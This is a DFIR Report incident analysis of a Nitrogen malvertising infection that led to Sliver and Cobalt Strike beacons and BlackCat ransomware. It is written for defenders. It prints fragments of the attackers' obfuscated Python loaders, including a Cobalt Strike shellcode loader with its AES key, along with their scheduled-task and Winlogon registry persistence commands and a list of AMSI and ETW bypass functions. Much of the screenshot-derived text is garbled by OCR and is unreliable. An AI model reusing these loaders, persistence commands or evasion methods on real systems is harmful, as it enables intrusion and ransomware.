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Key Takeaways

e In November 2023, we identified a BlackCat ransomware intrusion started by Nitrogen malware hosted on a website
impersonating Advanced IP Scanner.

¢ Nitrogen was leveraged to deploy Sliver and Cobalt Strike beacons on the beachhead host and perform further
malicious actions. The two post-exploitation frameworks were loaded in memory through Python scripts.

o After obtaining initial access and establishing further command and control connections, the threat actor enumerated
the compromised network with the use of PowerSploit, SharpHound, and native Windows utilities. Impacket was
employed to move laterally, after harvesting domain credentials.

o The threat actor deployed an opensource backup tool call Restic on a file server to exfiltrate share data to a remote
Server.

o FEight days after initial access the threat actor modified a privileged user password and deployed BlackCat
ransomware across the domain using PsExec to execute a batch script.

o Six rules were added to our Private Ruleset related to this intrusion.

An audio version of this report can be found on Spotify, Apple, YouTube, Audible, & Amazon.

The DFIR Report Services

o Private Threat Briefs: Over 20 private DFIR reports annually.

o Threat Feed: Focuses on tracking Command and Control frameworks like Cobalt Strike, Metasploit, Sliver, etc.

o All Intel: Includes everything from Private Threat Briefs and Threat Feed, plus private events, opendir reports, long-
term tracking, data clustering, and other curated intel.

¢ Private Sigma Ruleset: Features 100+ Sigma rules derived from 40+ cases, mapped to ATT&CK with test examples.

e DFIR Labs: Offers cloud-based, hands-on learning experiences, using real data, from real intrusions. Interactive labs

are available with different difficulty levels and can be accessed on-demand, accommodating various learning speeds.

Contact us today for pricing or a demo!
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Case Summary

The incident began when a user unknowingly downloaded a malicious version of Advanced IP Scanner from a fraudulent
website that mimicked the legitimate one, leveraging Google ads to rank higher in search results. Analysis of the attack
pattern and loader signature suggests this was part of a Nitrogen campaign, consistent with previous public reports. The
compromised installer came as a ZIP file, which the victim extracted before launching the embedded executable, triggering

the infection.

The executable was a legitimate Python binary, which side-loaded a modified Python DLL specifically designed to execute
Nitrogen code. This process then dropped a Sliver beacon in an AppData subfolder named “Notepad.” All malware deployed
during the intrusion was obfuscated using Py-Fuscate to conceal malicious Python scripts. About eight minutes after the
Nitrogen execution, the attacker initiated hands-on keyboard discovery, utilizing Windows utilities such as net, ipconfig, and
nltest. Two minutes later, additional Sliver beacons were deployed on the compromised host, with persistence established

through scheduled tasks and registry key modifications.

A little over an hour after the initial execution, the threat actor deployed additional malware, this time Cobalt Strike beacons,
again wrapped in the Py-Fuscate obfuscation technique. The discovery phase continued with detailed enumeration of the
Active Directory domain, including local and domain administrators, domain controllers, and computers. To deepen their
understanding of the environment, the attacker utilized tools such as SharpHound and PowerSploit. The Cobalt Strike
beacon was then used to dump domain credentials from LSASS, granting the attacker local admin credentials with broad

access across the network.

Using the stolen credentials, the threat actor leveraged Impacket’s wmiexec to move laterally to a server, where they used
curl to download a ZIP file containing their tools. After extracting the archive, they repeated the same persistence techniques
observed on the beachhead, creating scheduled tasks and modifying registry keys. The attacker then targeted a second
server, replicating the same steps to deploy their tools and maintain persistence. Shortly after, a second credential dump was
performed, again targeting LSASS memory. Following this, the threat actor began using a domain administrator account,

indicating they likely obtained those credentials during this phase.

The threat actor continued their lateral movement, replicating the same actions on both a file server and a backup server.
Approximately six hours after gaining initial access, they deployed the open-source backup tool Restic on the file server.
Using Restic, the attacker exfiltrated data from the file shares to a remote server located in Bulgaria. After this, the hands-on

activity significantly decreased and remained largely silent until the seventh day.

On the seventh day, the threat actor logged into the backup server and accessed the backup console. No further actions were

observed, leading us to assess that this was likely a discovery effort aimed at understanding the backup configurations.

On the eighth day, the threat actor shifted to their final objectives. They identified the domain controllers and used xcopy
from their initial lateral movement server to transfer tools to one of the domain controllers, executing them remotely via
WMIC. Next, they ran a batch script on the domain controller using PSEXEC, targeting a privileged backup service account,
which changed that accounts credentials. From the staging server, the attacker began distributing the BlackCat ransomware
binary across the network using SMB and the Windows copy utility. This was followed by executing another batch script via

PSEXEC on multiple remote hosts, initiating the ransomware deployment.

The final script executed a series of actions on remote hosts, including configuring them to start in Safe Mode with
Networking and setting a registry run key to launch the ransomware binary upon reboot. It also set the compromised backup
service account to auto login using Winlogon, and then forced a system reboot. As a result, the hosts rebooted into Safe
Mode, where the ransomware was automatically executed. This led to file encryption across the affected systems, with the
ransomware leaving a note on each host. The Time to Ransomware (TTR) was approximately 156 hours, spanning over

eight calendar days.

If you would like to get an email when we publish a new report, please subscribe here.

Analysts

Analysis and reporting completed by Angelo Violetti, @Oxtornado (Linkedin) and

Initial Access
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Drive-by Compromise

Based on threat intelligence sources and the file name, we are highly confident that the threat actors accessed the victim’s

infrastructure through a Nitrogen campaign, which delivered a ZIP file via malicious Google ads (i.e., malvertising).

Nitrogen is known for leveraging legitimate utilities like Advanced IP Scanner, Putty, etc. to conceal malware. The

following graph shows the Nitrogen infection chain and how it executed Sliver.
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The ZIP file named Version.zip contained mainly:

¢ alegitimate Python executable named setup.exe which was run by the victim.
e two hidden Python DLLs.

Name Date modified Type

B printsupport 01/11/2023 06:40 File folder

. advanced_ip_scanner_en_us.qm 01/11/2023 06:40 QM File 1KB
. advanced_ip_scanner_uk_ua.gm 01/11/2023 06:40 QM File 29 KB
. details_panel_en_us.tpl 01/11/2023 06:40 TPL File 2KB

. details_panel_uk_ua.tpl 01/11/2023 06:40 TPL File 2 KB
B python311.dll 01/11/2023 06:40 Application extens... 43'540 KB
B python311x.dll 01/11/2023 06:40 Application extens... 5626 KB
B service_probes 01/11/2023 06:40 File 577 KB
B setup.exe 01/11/2023 06:40 Application 100 KB
B vcruntime140.dil 01/11/2023 06:40 Application extens... 79 KB

Upon execution of Setup.exe, the following actions were performed:

¢ The hidden python311.dll was loaded (DLL sideloading) and the Nitrogen code was launched.

o A legitimate copy of Advanced IP Scanner was copied into the %Public%\Downloads folder.

» python.exe, pycryptodome, and a Sliver beacon were placed into a folder named %AppData%\Notepad.

¢ The Sliver beacon was executed through a Python script named slv.py which decrypts an AES-encrypted DLL
(data.aes) and loads it into memory.

e Advanced IP Scanner was installed in the compromised system.
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A very similar campaign was reported by @dipotwb on Twitter. We also observed overlap with campaigns reported by

Esentire.

,i_f ) Dipo
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Mv 2. User runs “setup.exe” which is signed by “Microsoft Corporation”, this
results in Advanced IP Scanner being executed, but also executes a python
script. “setup.exe” is actually a renamed “Biolso.exe” which performs some
DLL side loading (tactic:

Execution

A few minutes later, the threat actor deployed Python scripts on the beachhead, serving as loaders for both Sliver and Cobalt
Strike.

module v process.executable v process.command._line
\AppData\Local\Notepad\pythonw. exe C:\Users \AppData\Local\Notepad\pythor
\AppDat: \Notepad\py’ c:\U: \AppData\L d\py
\AppData\Local\Notepad\py1 C:\Users \AppData\Local\Notepad\pythom. exe worksli:

\AppDat; \Notepad\py: \AppData\Local\Notepad\pythor

\AppData\Local\Notepad\pythonw. exe \AppDa 1\Notepad\p;

The following image shows the sequence of beacons executed on the beachhead host.
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From Sliver to Cobalt Strike

v
§ comatsine

Sliver

The Python script, slv.py, used to load Sliver into memory, was heavily obfuscated. However, buried within thousands of

lines of code was the critical section responsible for executing the Sliver beacon.

f R
obCngXWILTeqYhtSyMEAJFPKKI - ‘obCngXWILTeqYhtSyMEA]FPKKI®
obCngXWILTeqYhtSyMEA] FPKKT ) 1

f IHoil 5 C
©obCngXWILTeqYhtSyMEA] FPKKL - *obCngXWILTeqYhtSyMEA]FPKKI"
obCngXWILTeqYhtSyMEA] fPKkL |

oang)‘(\-J]LTetht obCngXW JEA] fPKKI"
obCngXWILTeqYhtSyMEA] fPKKL 1 1 14

1 QOthKdCLk () :
obCngXWILTeqYhtSyMEAJFPKKI - ‘obCngXWILTe AjFPKKI"
obCngXWILTeqYhtSyMEAFPKKI - 160 380713531

NQy1BktjShPemusLMIOUpAKnCT )
NOW IRkt i ShPoamuicl MTol InAKnl T "N Bkt ShPomucl MT AKn(T"

import marshal,l binascii,z1ib;exec(marshal.loads(bz2.decompress(b’BZh91AYASY\xe2\xd5\x88 \x00\xac\xe7\x7F\xd3\x7F\xF4

EmAwvSWpuTFMol
EmAwvSWpuTFMokzKebnrZBgD

EmAwvSWpuTFMokzKebnrZBgD
EmAwvSWpuTFMokzKebnrZBgD

lef CVFPXfdA
EmAwvSWpuTFMol
EmAwvSWpuTFMokzKebnrZBgD

zctnR bIrB!
EmAwvSWpuTFMokzKebnrZBgD * EmAwvSWpuTF
EmAwvSWpuTFMokzKebnrZBgD 2 44

UPUBLEL
EmAwvSWpuTFMokzKebnrZBgD
EmAwvSWpuTFMokzKebnrZBgD

Based on the analysis of these artifacts, it appears the Sliver payload was likely obfuscated using Py-Fuscate, as the tool’s
encode function mirrored the same imports and procedures found in the obfuscated script, effectively concealing the

malicious code.

source: str) -»
selected mode = random. ice((lzma, gzip, bz2, binascii, ib))
marshal_encoded = marshal.dumps ile(source, “Py-Fuscate”, "exe
if selected mode binascii:
urn “impo i z2,binas i ec(marshal.loads(binascii.azb b

binascii.b2a_base64(marshal_encoded)

import marshal,l : c(marshal.loads ({ ompress({})))".format(

selected_mode._ name_ , selected mode. press(marshal_encoded)

The Sliver execution revealed multiple interesting debugging strings. In the first instance, Windows API functions’ addresses

are resolved.
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Reserved 1853491
Copying sections
Copied section n
Copied section n
Copied section n
Copied section n
Copied section n
Copied section n
Copied section n
Copied section n
Copied section n
Copied section n

Checking for bas
Building import
codebase:

x213ad
Found importdesc
Found imported D
Found import by
Resolved import
Found impert by
Resolved import
Found import by
Resolved import
Found import by
Resolved import
Found import by
Resolved import
Found import by
Resolved import
Found import by
Resolved import

Finalizing sectio
Found 11 total se
Section n. @
size=4795392
execute 1

read 1

write @
Protection flag
physaddr:8x213adl
Section n. 1
size=307280
execute @

read 1

write 1
Protection flag:4
physaddr:@: 3f6U
Section n.
size=yg8l

execute @

read 1

write @
Protection flag
physaddr: @:
Section n. 3
size=1536

execute @

read 1

write @
Protection flag
physaddr: @x214y
Section n. 4
5ize=1536

execute @

read 1

write @
Protection flag
physaddr:@x214u58
Section n. 5
Uninitialized
Section n. 6
Uninitialized
Section n. 7
Uninitialized
Section n. 8
Uninitialized
Section n. 9
Uninitialized
Section n. 18
Uninitialized
Executing TLS.
TLS callback exec
TLS callback exec
Checking for entr
Calling dll entry

dat
dat
dat
dat
dat

dat

2 bytes for dll at address:

to reserved memory block.
o. .text to address: 3adlBeee
o. .data to address: 13feueee
o. .rdata to address: 3fafooe
o. .pdata to address: Hus57800
o. .xdata to address: 214458000
o. .edata to address: Juyc2008
o. .idata to address: 2144c3000
0. .CRT to address: 144ycyene
o. .tls to address: 144c5000
o. .reloc to address: 8x21u4u4c6008
e relocations.
table.
eeee

at address: 0x214uc3880
LL, KERNEL32.dll. Loading..
name entry AddVectoredExceptionHandler , at address @x2144c329c
AddvectoredExceptionHandler at address Ox7ff83c3f1670
name entry CloseHandle , at address 8x2144c32al
CloseHandle at address @x7ff83abel8ed
name entry CreateEventA , at address @
CreateEventA at address 0x7ff83abeus3
name entry CreateFileA , at address @
CreateFileA at address @x7ff83abeubse
name entry CreateIoCompletionPort , at address @x2
CreateIoCompletionPort at address @x7ff83abdd95e
name entry CreateThread , at address @x21u4lc32cd
CreateThread at address @x7ff83abdb5a®
name entry CreateWaitableTimerExW , at address @
CreateWaitableTimerExW at address B8x7ff83abeuyode

Bx

21444c32ac

2144c32by

21444c32cc

Subsequently, the Sliver DLL is injected in memory and the DLL entrypoint is called.

ns.
ctions.

eee

eee

clclc)

a, return

a, return

a, return

a, return

a, return

a, return
uted

uted

y point.
point Ox2

3ad1350 with DLL_PROCESS_ATTACH
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Those debugging strings are the same ones used by Pyramid in the pythonmemorymodule which is a module used to inject

and execute DLLs in memory.

ge(@, len(entry imports)):

funcref t(funcrefaddr, PFARPROC)
entry_imports[j].import_by ordinal =
‘decode’ ir(entry_imports[j].ordinal
importordinal- entry_imports[j].ordinal

importordinal- entry_imports[j].ordinal
g('Found import ordinal entr cast(importordinal, LPCSTR))
funcref.contents tPr t(importordinal, LPCSTR))
address - funcref.contents

importname- entrv_imports[il.name.decode('utf-8")
Lf.dbg( ' Found import by name ent , at address @x%x', importname, entry_imports[j].address)
aaaress caaar(nmoda, importnam ))
funcrefaddr,address.t f(LONG_PTR), 'little’) F(LONG_PTR)):
(*memmove failed')
at address @x%x', importname, address)
L(address
Winde ¥ (" Could not locate function for thunkref *, importname)
funcrefaddr (PFARPROC)

ecPE(self):
codebase - self._codebaseaddr
entryaddr pythonmemorymodule . contents.headers. contents.OptionalHeader .AddressOfEntryPoint
€ ("Checking for entry point.")
entryaaar
entryaddr codebase

ExeEntry

("exe has no entry point.\n')

("Calling exe entrypoint @x%x", entryaddr)
E (entryaddr)

EntryProc(entryaddr)
(D11Entry):

)
("dll has no entry point.

f.dbg("Calling dl1 entrypoint @x%x with DLL_PROCESS_ATTACH", entryaddr)
success o (Cogepase, ULL_PKRUCESS_AI IALH, )

(success):

d11():

)
("dll could not be loaded.")

("exe could not be loaded')
f.pythonmemorymodule. contents. initialized

By analyzing the Python.exe process memory, it was possible to notice the DLL injected in the memory sections previously
described in the debugging strings.

General Statistics Performance Threads Token Modules Memory Environment Handles GPU Disk and Network Comment

Hide free regions

Base address Type Size Protection Total WS Private WS Sh... Use

0x7ffennnn Private: Commit 4kB R 4 kB 4 kB WUSER_SHARED_DATA
0x7ffeednn Private: Commit 4kB R 4 kB 4 kB

0x213ad0000 Private: Commit 4 kB RW 4 kB 4 kB

0x213ad1000 Private: Commit 4'684 kB RX 4'684 kB 4'684 kB

0x213fa4000 Private: Commit 300 kB RW 300 kB 300 kB
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B | python.exe (4400) (0x213ad0000 - 0x213ad 1000}

00000000 Ed 5a %0 00 03 00 0O OO 04 OO0 OO0 00 ££ ££f 00
00000010 kb8 00 0O OO OO OO OO OO0 40 00 OO OO 0O OO 00
00000020 OO 00O 0O OO 0O 0O OO OO 00 00 OO 00 0O OO 00
00000020 OO 00O 0O OO0 00 0O OO0 OO0 00 00 OO OO0 80 OO OO0
Q0000040 O 1f ba O= 00 b4 09 cd 21 b8 01 4c cd 21 54
00000050 &9 73 20 70 72 6f &7 72 €1 &6d 20 €63 6l 6= 6= 6f is program canno
000000ED T4 20 €2 €5 20 72 75 €= 20 €9 6= 20 44 4f 53 20 t be run in DOS
00000070 &6d &6f €4 65 2e 04 0d 0a 24 00 00 00 00 00 00 00 mode....5
00000080 50 45 00 00 64 Be Ob OO 0O OO OO OO 0O OO OO 00
000000%0 OO0 00 00 00 £0 00 2e 22 0b 02 02 26 00 2c 49 00
000000a0 0O d4 9% 00 00 Ba O& OO 50 13 00 OO 00 10 OO0 00
Q00000R0 OO0 00 ad 13 02 00 00 OO0 00 00 ad 13 02 00 OO0 00
000000c0 O& OO 01 OO OO OO OO0 OO 0& OO 01 OO OO0 OO OO0 00
Q0000040 00 <0 a0 00 00 04 00 00 Da cc S9a 00 02 00 €0 B1

The Sliver DLL exports multiple functions, however, StartW is the one to run the beacon.

index name (6) flag (3) location duplicate (0) ordir
Dllinstall X

DlIRegisterServer X

DllUnregisterServer x
StartW

VoidFunc

o W W o =

cgo dummy export

Multiple strings related to Sliver were found in the process memory.

0x214227373 59 github.com/bishopfox/sliver/implant/sliver/shell/ssh/ssh.go

0x2142273af 63 github.com/bishopfox/sliver/implant/sliver/tcpproxy/tcpproxy.go

0x2142273ef 62 github.com/bishopfox/sliver/implant/sliver/rportfwd/portfwd.go

0x21422742e 68 github.com/bishopfox/sliver/implant/sliver/rportfwd/tunnel_writer.go

0x214227473 57 github.com/bishopfox/sliver/implant/sliver/shell/shell.go

0x2142274ad 65 github.com/bishopfox/sliver/implant/sliver/shell/shell_windows.go

0x2142274ef 83 github.com/things-go/go-socks5@v0.0.3-0.20210722055343-24af464efe43/statute/addr.go
0x214227543 83 github.com/things-go/go-socks5@v0.0.3-0.20210722055343-24af464efe43/statute/auth.go
0x214227597 a7 github.com/things-go/go-socks5@v0.0.3-0.20210722055343-24af464efe43/statute/datagram.go
0x2142275ef 86 github.com/things-go/go-socks5@v0.0.3-0.20210722055343-24af464efe43/statute/message.qo
0x214227646 85 github.com/things-go/go-socks5@v0.0.3-0.20210722055343-24af464efe43/statute/method.go
0x21422769C 86 github.com/things-go/go-socks5@v0.0.3-0.20210722055343-24af464efe43/statute/statute.go
0x2142276f3 86 github.com/things-go/go-socks5@v0.0.3-0.20210722055343-24af464efe43/bufferpool/pool.go
0x21422774a 75 github.com/things-go/go-socks5@v0.0.3-0.20210722055343-24af464efe43/auth.go
0x214227796 82 github.com/things-go/go-socks5@v0.0.3-0.20210722055343-24af464efe43/credentials.go
0x2142277e9 77 github.com/things-go/go-socks5@v0.0.3-0.20210722055343-24af464efe43/handle.go
0x214227837 77 github.com/things-go/go-socks5@v0.0.3-0.20210722055343-24af464efe43/logger.go
0x214227885 79 github.com/things-go/go-socks5@v0.0.3-0.20210722055343-24af464efed3/resolver.go
0x2142278d5 78 github.com/things-go/go-socks5@v0.0.3-0.20210722055343-24af464efed3/ruleset.go
0x214227924 77 github.com/things-go/go-socks5@v0.0.3-0.20210722055343-24af464efe43/server.go
0%214227972 34 github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers/close_handler.go
0x2142279c7 81 github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers/data_cache.go
0%214227a19 83 github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers/data_handler.go
0x214227a6d 86 github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers/portfwd_handler.go
0x214227ac4 76 github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers/utils.go

0x214227b11 94 github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers/shell_handler.go
0x214227b66 94 github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers/socks_handler.go
0x214227bbb 77 github.com/things-go/go-socks5@v0.0.3-0.20210722055343-24af464efe43/option.go
0x214227c09 84 github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers/tunnel_writer.go
0x214227c5e 63 github.com/bishopfox/sliver/implant/sliver/handlersfhandlers.go

0x214227c0%e 71 github.com/bishopfox/sliver/implant/sliver/handlers/handlers_windows.go

0x214227ceb 659 github.com/bishopfox/sliver/implant/sliver/handlers/pivot-handlers.go

0x214227d2c 71 github.com/bishopfox/sliver/implant/sliver/handlers/rpc-handlers-cge.go

0%214227d74 67 github.com/bishopfox/sliver/implant/sliver/handlers/rpc-handlers.go

0x214227dbs 59 github.com/bishopfox/sliver/implant/sliver/procdump/dump.go

0x214227df4 75 github.com/bishopfox/sliver/implant/sliver/fhandlers/rpc-handlers_windows.go

0x214227e40 72 github.com/bishopfox/sliver/implant/sliver/handlers/rportfwwd-handlers.go

Cobalt Strike
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wol4.py is another highly obfuscated Python script that acts as a loader for custom shellcode. In this specific case, the threat
actor specified an AES-encrypted Cobalt Strike shellcode which is:

¢ Decrypted through the key “we3p2v5t85”.
o Copied into a newly allocated memory region in the Heap.

¢ Executed by invoking the function CreateThread.

Shellcode + AES Key

359CKTeAOOAJAOT SR/ aAS12Y SQKV/LNOZ +n7HbVRXWKKKA9 R7e4apuThHV6a3K L Bonhy eBRTK EXBDSFO110LI77XBEV/NyWQPNENOROHY 080GKOURB 3 uf 5t FNNKUXRNUPVNTUPE3 Lru2V Mo/ vd17CvZuljHQHL IDWXH20UG

V(buff), 2):
buff[i] + buff[i:1]

(PROCESS_TERMINATE,
)

Jle (proc_handle)

[WE.HANDLE, Wt.DWORD, ctypes.c_size_t]
wt..LPVOID

windll.kernel
ry .ang! [wt.LPVOID,
RtlMoveMenory .restype - wt.LPVOID

ind11. kernel32.CreateThread

Wt .LPVOID,

Wt HANDLE
-wind11.kernel32. WaitForSingleObject
[WE HANDLE, wt.DWORD]
WE. DHORD

, len(buffff), ©)
(buffFF))
(buffFf))

ol

len(buff), 2):
buff[i] + buff[i+1]

The Sysmon Event ID 10 shows the self-injection technique performed by the Python Cobalt Strike loader.

ourceProcessId'>9716</Data>

/o> ]

BASE. \Wi BASE. :\Wi 32.DLL+1cbb4 [UNKNOWN(00000002138398BE)/Data>

Persistence

Scheduled Task

During the intrusion, the threat actor created multiple scheduled tasks to achieve persistence. This persistence technique was

abused on the beachhead host and each host moved to laterally during the first day.

schtasks /create /ru SYSTEM /tn "OneDrive Security Task-S-1-5-21-REDACTED" /tr c:\windows\adfs\py\UpdateEdge
schtasks /create /ru SYSTEM /tn "OneDrive Security Task-S-1-5-21-REDACTED" /tr C:\Users\REDACTED\AppData\Loc
schtasks /create /ru SYSTEM /tn "OneDrive Security Task-S-1-5-21-REDACTED" /tr c:\windows\adfs\py\UpdateEdge
schtasks /create /ru SYSTEM /tn "OneDrive Security Task-S-1-5-21-REDACTED" /tr c:\windows\adfs\py\UpdateEdge
schtasks /create /ru SYSTEM /tn "OneDrive Security Task-S-1-5-21-REDACTED" /tr c:\users\REDACTED\appdata\loc
schtasks /create /ru SYSTEM /tn "OneDrive Security Task-S-1-5-21-REDACTED" /tr c:\windows\adfs\py\UpdateEdge
schtasks /create /ru SYSTEM /tn "OneDrive Security Task-S-1-5-21-REDACTED" /tr C:\Users\REDACTED\AppData\Loc
schtasks /create /ru SYSTEM /tn "OneDrive Security Task-S-1-5-21-REDACTED" /tr c:\windows\adfs\py\UpdateEdge
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schtasks /create /ru SYSTEM /tn "OneDrive Security Task-S-1-5-21-REDACTED" /tr c:\users\REDACTED\appdata\loc
schtasks /create /ru SYSTEM /tn "OneDrive Security Task-S-1-5-21-REDACTED" /tr c:\windows\adfs\py\UpdateEdge
schtasks /create /I 1 /TR C:\Users\REDACTED\AppData\Local\Notepad\UpdateEG.bat /TN UpdateEdge /SC ONIDLE

However, some of them had mistakes and therefore were not correctly working.

For example, in the following task, the threat actor didn’t specify the “\” between “C:” and the executable name.

schtasks /create /I 1 /TR C:WindowsTempUpdate.exe /TN UpdateEdge /SC ONIDLE

chemas.microsoft.com/window

>\UpdateEdge«

>IgnoreNew<
>true<
true
true
>false-
false«

true</
falsec
>False-
false
>PT72H:

"Author"

»C:WindowsTempUpdate.exe<

id="Author

>InteractiveToken
>LeastPrivilege

While some tasks used the ‘ONSTART’ option to enable persistence after reboot, some used a time frame to execute every
720 minutes. For example, on a server the threat actor dropped a BAT file name UpdateEdge.bat and subsequently created

two scheduled tasks using this option.
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UpdateEdge. bat

off
g=c:\windows\adfs\py\Upda
h=teJson.exe c:\windows\a
n=dfs\py\wol2.py
%g%kh%56n7%

</
>\OneDrive Security Task-S-1-5-21
>
>
>
>
>PT720M</ >
>false</
>

>true</
>

>IgnoreNew</
>true</
>true</
>true</
>false</
>false</
>
>PT1eM</
>PT1H</
>true</
>false</
>
>true</
>true</ >
>false</ >
>false</
>false</ >
>PT72H</
>7</ >
>
Context="Author">

>c:\windows\adfs\py\UpdateEdge.bat</

id="Author">
>S-1-5-18</ >
>LeastPrivilege</
>
>

Registry Key

To ensure persistence on the beachhead host and three servers, the threat actor added an entry in the Winlogon\Userinit

registry key to ensure the execution of UpdateEdge.bat whenever a user logs into the systems.

cmd.exe /C reg add "HKLM\software\microsoft\windows nt\currentversion\winlogon" /v UserInit /t reg_sz /d "c:\i
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Type viewer Slack viewer Binary viewer

Value name |Userinit
Value type |RegSz
Value c: \windows\system32\userinit.exe,C: \Users) \AppData\Local\Notepad\upedge.bat

Privilege Escalation

On the beachhead system, the initial payload setup.exe was executed with High integrity level, which means that the binary

was run with the access level equivalent to Administrator access.

winlog.event_data.Image winlog.event_data.IntegritylLevel

ersion\setup.exe High

An injected cmd.exe process from the beachhead host opened winlogon.exe with an access mask of 0x143A, which, when
decoded, revealed the PROCESS_VM_WRITE permission. The cmd.exe process then executed process injection into

winlogon.exe.

process.executable winlog.event_data.TargetInage winlog.event_data.GrantedAccess

C:\windoy A\ X C: ! em32\winlogen.exe ox143a

em32\winlogon.exe

Dynamic-link Library Inje

sourceProcessId:
SourceThreadId: 6
SourceImage

ERNELBASE.d11+2

Sourcelser: Domain User Account
TargetUser: NT AUTHORITY\SYSTEM

All scheduled tasks created by the threat actor were setup to run in SYSTEM context ensuring that access would stay
elevated on hosts.
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process.command_Lline

/create | /ru SYSTEM |/tn "OneDrive Security n /tr c:\use \ a al\notepad\UpdateEdge.bat /SC ONSTART /F

"OneDrive Yy ftr c \ \appdata\l L\notepad\UpdateEdge. bat /sc MINUTE /mo 720 /F

SYSTEM "OneDrive Security windows\adfs\py\UpdateEdge .bat /SC ONSTART /F

"OneDrive Security cz\wi ateEdge.bat /sc MINUTE

"OneDrive Security s € \AppData\ al\Notepad\upedge.bat /SC ONSTART /F

"OneDrive Security \ \AppData\ Local\Notepad\upedge . bz MINUTE /mo

"OneDrive Security " Jtr c:\windows\adfs\py\UpdateEdge.bat /SC ONSTART |

"OneDrive Security Task \windows\adfs\py\UpdateEdge.bat /sc MINUTE /mo 720 /F

"OneDrive Security I s\adfs\py\UpdateEdge .bat /SC ONSTART

"OneDrive Security \wi dfs\py\UpdateEdge.bat /sc MINUTE /mo 728 /F

Defense Evasion
Nitrogen

By analyzing the modified Python DLL (python311.dll), we notice multiple defense evasion functionalities implemented,

such as:

» Removing hooks from Windows API functions.
¢ Obfuscating the payload in memory (i.e., Sleep Obfuscation).
¢ Bypassing AMSI, WLDP, and ETW.

Based on code overlaps, those techniques could have been copied from the following GitHub repositories:

¢ Antimalware-Research/Generic/Userland Hooking/AntiHook at master - NtRaiseHardError/Antimalware-Research -
GitHub

o GitHub — RtlDallas/KrakenMask: Sleep obfuscation

¢ donut/loader/bypass.c at master - TheWover/donut - GitHub

e Patching WLDP - GitHub

E fixup text 000000030F2754FE 0000000E 0ooooo10 R
E SpoofStub text 000000030F2754D0 0000002E 00000000 00000028 R
E DisableAMSI(void) text 000000030F275230 00000290 000000A8 R
E PatchWLDP(void) Jtext 000000030F274FD0 00000260 000000C8 R
E PatchETW(void) Jtext 000000030F274840 00000781 00000138 R
E AmsiScanBufferStubEnd(void) Jtext 000000030F274830 00000001 00000000 R
E AmsiScanBufferStub(HAMSICONTEXT__ *,void *,ulong,wchar_... .text 000000030F274820 0000000E 00000000 00000030 R
E WidpQueryDynamicCodeT rustStubEnd(void) Jtext 000000030F274810 00000001 00000000 R
[F] widpQuerybynamicCodeTrustStub(void = void *,ulong) text 000000030F274800 00000003 00000000 R
E AntiHooks(void) Jtext 000000030F274310 000004EF 00002008 R
E UnhookModule{HINSTANCE__ *) Jtext 000000030F273FD0 0000033D oooooisa R
E ReplaceExecSection(HINSTANCE__ *,void *) Jtext 000000030F273E90 00000134 00000068 R
|I| CheckModuleForHooks{HINSTANCE__ *,_HOOK_FUNC_INFO **... .text 000000030F273630 0000085A 000004A8 00000020 R
[F] CompareFilePaths(char const*,char const™) text 000000030F273510 00000116 00000248 R
|I| IsHooked(void *,ulong long *) Jtext 000000030F273300 00000202 00000000 R
|I| GetModuleName(HINSTANCE__ * char *,ulong) Jtext 000000030F2731A0 00000154 00000088 R
|_£| GetModules{HINSTANCE__ **,ulong,ulong *) Jext 000000030F2730D0 000000C3 00000078 R
E FreeHookFuncInfo({_HOOK_FUNC_INFO **) Jtext 000000030F273030 0000008D 00000068 R
E NewwHookFunclnfo(veid) Jtext 000000030F272F10 0000011A 00000058 R
E FreeModuleHookInfo{_MODULE_HOOK_INFO **,ulong long) Jtext 000000030F272D80 00000187 00000088 R
[F] newmModuleHookinfo{ulong lang) Jfext 000000030F272C00 00000178 00000078 R
|f| str_ends_with_(char const™,char const™) Jtext 000000030F272B80 0000006A 00000038 R
|f| KrakenSleep(ulong) Jtext 000000030F271EQD 00000DSE 00002898 00000004 R
|f| TakeSectionInfo{_SECTION_INFO *) Jtext 000000030F271D50 000000A3 00000008 R
[F] GenerateKey(uchar *,ulong) ext 000000030F271A20 00000327 000000A8 R
|i| Spoofer(void *,void * void * void *void *,void * void * void *,... .text 000000030F2718F0 00000130 00000098 00000048 R
|i| GetNtdllAddr(vaid) Jtext 000000030F2718D0 0000001D 00000000 R
[F] searchGadgetOnkernelBaseModule({uchar *,ulong) ext 000000030F2717F0 000000D1 00000058 R
|i| HashStringDjb2A(char const™) Jtext 000000030F2717C0 00000027 00000000 R
@ HashStringDjb2W(wchar_t const™) Jtext 000000030F271790 00000030 00000000 R
[7] Findcadget(void *,ulong,uchar *,ulong) text 000000030F271710 00000072 00000058 R
[F] ProtectMemory(void *,ulong long,ulong) text 000000030F2715D0 00000137 000000A8 R
|f| Spoofer(void * void *void *void *void *,void *,void *void *,... .text 000000030F2714B0 00000113 00000098 R

An example of code overlap is showed in the following image related to the IsHooked() function.
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Switch ( (BV1E) )

case 0x90.

« ) +1;
i (vd == (char)oxE9 )
€

-

return 2LL;

Masquerading

With the aim to conceal the malicious activities into normal system events, the threat actor masqueraded both the initial

payload and the persistence mechanisms by:

Renaming python.exe to setup.exe.

: Python
Python
Python

OriginalFileName:

CommandLine: 2rsl IGELEAY

CurrentDirectory \Download

Use

LogonGuid: 136-4d8718¢

LogonId:

Terminals

Integri

\ xplorer.exe
Paren ; iindo lorer.EXE

ParentUs

Naming the scheduled tasks to mirror OneDrive and Microsoft Edge.
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winlog.event_data.TaskName

\UpdateEdge

\OneDrive Security

\OneDrive Security

\OneDrive Secur

\OneDrive Secur

\OneDrive Securi

\OneDrive Securi

\OneDrive Secur

\OneDrive Secur

¢ process.name ¢ process.command._line i process.parent.name ¢ process.parent.command._line

cnd.exe €:\Wind tem32\cnd. exe e UpdateJson. exe winlogon.exe winlogon.exe

t process.name t process.command_line t process.parent.name t process parent.command_line

UpdatedJson. exe ¢ :\windows\adfs\py\Update, x s\ Y cnd. exe C:\Windows\SYSTEM32\cnd..exe /c "C:\w s\adf s\py\UpdateEdge .bat”

Process injection

The threat actor was observed injecting into various processes during the intrusion. One specific occasion was during the
elevation to SYSTEM on the beachhead host.

lemoteThread detected:
RuleName: technique_id=T1855, technique_name=Proces
UtcTime:
SourceProcessGuid: {c&fBBa71-87@80-654b-bfb2
SourceProce
